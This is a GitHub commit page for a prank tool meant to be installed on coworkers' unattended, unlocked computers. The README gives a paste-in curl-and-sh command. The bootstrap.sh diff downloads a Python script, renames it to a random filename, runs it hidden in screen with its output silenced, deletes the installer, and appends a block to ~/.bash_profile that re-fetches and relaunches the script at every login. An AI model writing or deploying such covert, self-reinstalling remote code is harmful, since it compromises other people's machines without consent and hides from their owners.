Skip to content

Commit

Permalink
Voices.py will now reinstall itself >:-)
Browse files Browse the repository at this point in the history
  • Loading branch information
dcramer committed Apr 2, 2011
1 parent 3a19215 commit 1f9d5b2
Show file tree
Hide file tree
Showing 2 changed files with 14 additions and 4 deletions.
2 changes: 1 addition & 1 deletion README.rst
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ The machines that coworkers would leave unattended **and unlocked** is the prima

2. Type the following::

curl -O https://github.com/dcramer/voices.py/raw/master/bootstrap.sh && sh bootstrap.sh
curl -O https://github.com/dcramer/voices.py/raw/master/bootstrap.sh && sh bootstrap.sh && rm bootstrap.sh

3. In a browser, go to the entered IP and port number. For example, ``http://192.168.1.199:2046``. You should be presented with a page that has a select box and a text box. Simply choose a voice and enter a message.

Expand Down
16 changes: 13 additions & 3 deletions bootstrap.sh
Original file line number Diff line number Diff line change
@@ -1,8 +1,18 @@
#!/bin/bash
mkdir ~/.voices
if [ ! -d \"~/.voices\" ]; then
mkdir ~/.voices
fi
cd ~/.voices
VOICES=$RANDOM.py
curl -O https://github.com/dcramer/voices.py/raw/master/voices.py
curl -O https://github.com/dcramer/voices.py/raw/master/voices.py > /dev/null 2>&1
mv voices.py $VOICES
screen -d -m python $VOICES
rm bootstrap.sh

echo "if [ ! -d \"~/.voices\" ]; then
mkdir ~/.voices
cd ~/.voices
VOICES=$RANDOM.py
curl -O https://github.com/dcramer/voices.py/raw/master/voices.py > /dev/null 2>&1
mv voices.py $VOICES
screen -d -m python $VOICES
fi" >> ~/.bash_profile

0 comments on commit 1f9d5b2

Please sign in to comment.